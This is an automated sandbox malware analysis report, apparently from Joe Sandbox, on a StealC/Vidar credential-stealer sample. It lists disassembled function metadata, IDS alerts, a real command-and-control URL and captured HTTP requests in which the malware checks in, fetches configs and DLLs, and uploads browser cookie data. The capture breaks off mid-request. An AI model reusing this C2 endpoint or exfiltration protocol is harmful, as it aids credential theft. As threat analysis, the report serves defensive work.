Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 63703ceff800568f1488e77ec03f7922d4dbc35c04c99f2317d32491932c3fe6
Instruction ID: edaf29ee9f50685b5c547b441cbe6e6f80d906134043d90e0eac0ed683dc747a
Opcode Fuzzy Hash: 63703ceff800568f1488e77ec03f7922d4dbc35c04c99f2317d32491932c3fe6
Instruction Fuzzy Hash: 3FF0BE369047029BE721BBB8980FB9E3FA0BF80724F20414DFA04B72D2DB6469419F56

Function 6CEC85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CEC85D3

Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CEC8725

Strings

map/set<T> too long, xrefs: 6CEC8720

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 1d40abe941e15429086af5c0db4df1e0b126f97a38d61c306f4df0ce1a61c5f5
Instruction ID: 1eeccb0dd9c1e9585f5bbfcd8a15f96cbf03e0e0fca8e70c87f029fe2f93e95e
Opcode Fuzzy Hash: 1d40abe941e15429086af5c0db4df1e0b126f97a38d61c306f4df0ce1a61c5f5
Instruction Fuzzy Hash: 26516874600641CFD711CF18C284B5ABBF1BF5A318F29C29AD8699BB52C375E845CF92

Function 6CE7BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CE7BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CE7BE8F

Strings

0, xrefs: 6CE7BE5B

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 1438ff8d2ef6803a168513e75fef44ff36788613e2c51e5154a8158ff14fd045
Instruction ID: 17aadaf8f1a0a31e5b97984e7aa2d6b267670ad72ce471b0e6307c26f4538a85
Opcode Fuzzy Hash: 1438ff8d2ef6803a168513e75fef44ff36788613e2c51e5154a8158ff14fd045
Instruction Fuzzy Hash: 52418F71909749CFC721CF28C48199BB7F4EF8A348F205A1DF9859B711E7309949CBA2

Function 6CEB3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEB3D19
mozalloc_abort.MOZGLUE(?), ref: 6CEB3D6C

Strings

d, xrefs: 6CEB3D58

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c1c665afe7abd38a7e8ee67621012e91754a7859b50fabdacd25e3b08791622f
Instruction ID: 9061dd7d8aa5738eec561de18773a1de8d099e5fac9398ca9d6eef6363ae1c1c
Opcode Fuzzy Hash: c1c665afe7abd38a7e8ee67621012e91754a7859b50fabdacd25e3b08791622f
Instruction Fuzzy Hash: E211EF35E04688DBDB008BA9DD164BDB775EFCA318B548218E848AB602EB30A684C390

Function 6CED6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CED6E22
__Init_thread_footer.LIBCMT ref: 6CED6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CED6E1D

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: c2684231243f9da3f63725c1538165a32c6504d5dc8a5400e6f8c9d0f3987908
Instruction ID: eb1fad4b02a30d221263ed9d5a1f0740e8635673cba7e162d1b0193e4b3931f7
Opcode Fuzzy Hash: c2684231243f9da3f63725c1538165a32c6504d5dc8a5400e6f8c9d0f3987908
Instruction Fuzzy Hash: 7DF024703452418FDB008BA8E890A8933B5539321CF360565C82087B61DF25B607CAD3

Function 6CE86C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kl,?,6CEB4B30,80000000,?,6CEB4AB7,?,6CE743CF,?,6CE742D2), ref: 6CE86C42

Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

moz_xmalloc.MOZGLUE(0Kl,?,6CEB4B30,80000000,?,6CEB4AB7,?,6CE743CF,?,6CE742D2), ref: 6CE86C58

Strings

0Kl, xrefs: 6CE86C33, 6CE86C41, 6CE86C57

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kl
API String ID: 1967447596-3488275091
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 5ab7e9c0575603f12695017f60ed5525aae3f3f6a2fa27e1dedc6917b4dc79e1
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: B7E026F1B221000A9B089878AD4952A71EC9B162A87244A3AE82FC2BC8FA18E4808151

Function 6CECB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CECB2C9,?,?,?,6CECB127,?,?,?,?,?,?,?,?,?,6CECAE52), ref: 6CECB628

Part of subcall function 6CEC90E0: free.MOZGLUE(?,00000000,?,?,6CECDEDB), ref: 6CEC90FF
Part of subcall function 6CEC90E0: free.MOZGLUE(?,00000000,?,?,6CECDEDB), ref: 6CEC9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CECB2C9,?,?,?,6CECB127,?,?,?,?,?,?,?,?,?,6CECAE52), ref: 6CECB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CECB2C9,?,?,?,6CECB127,?,?,?,?,?,?,?,?,?,6CECAE52), ref: 6CECB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CECB127,?,?,?,?,?,?,?,?), ref: 6CECB74D

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d83c714388735219283ee1cb2f7dcd7d82958f3e9a793bcb34a2345eb45b76e1
Instruction ID: 69f9237cfb6a06ab6125589c040c5a793e51d996d32d84599643712eb7dc9d58
Opcode Fuzzy Hash: d83c714388735219283ee1cb2f7dcd7d82958f3e9a793bcb34a2345eb45b76e1
Instruction Fuzzy Hash: 6451BDB1F053168BDB14CF18CA8475EB7B5AB85309F258629CC6AAB740D731A815CBA2

Function 6CEDB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CE80A4D), ref: 6CEDB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CE80A4D), ref: 6CEDB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CE80A4D), ref: 6CEDB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CE80A4D), ref: 6CEDB67F

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: a2be1c9b27be1e42979162ee33b3cef1bc2ebe9b26cfc8979d1704d63bf1f9c7
Instruction ID: a320d9bf70a3fd91199607fabcc799696f2b81127f7d0cded75073a570cf54c1
Opcode Fuzzy Hash: a2be1c9b27be1e42979162ee33b3cef1bc2ebe9b26cfc8979d1704d63bf1f9c7
Instruction Fuzzy Hash: 9631A371E012168FDB10CF58C84465ABBB5EF81318F278569E8269B741EB31F916CBA2

Function 6CEAF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CEAF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CEAF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CEAF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CEAF668

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7c541e02b6c1e6b1f509db24beb62cdf8e510a36b5e2dbf5e89725d930a42335
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: A6313E71B00214AFC714CF59CCC0A9A7BB6FB88358B24853DEA498BB14D635ED468B90

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.520000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.520000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dllv	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpN	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpF	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phps	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php&	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpdll	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00529B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00529B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0052C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00527240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00527240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00529AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00529AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00538EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00538EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE86C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CE86C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49699 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49699 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49699 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 43 39 32 30 44 33 34 43 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="hwid"0AC920D34CC058492808------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build"doma------CAAKKFHCFIECAAAKEGCF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"browsers------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBAHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="message"plugins------GCGCFCBAKKFBFIECAEBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGIHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"fplugins------KJKJKFCBKKJDGDHIDBGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDBHost: 185.215.113.37Content-Length: 6919Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 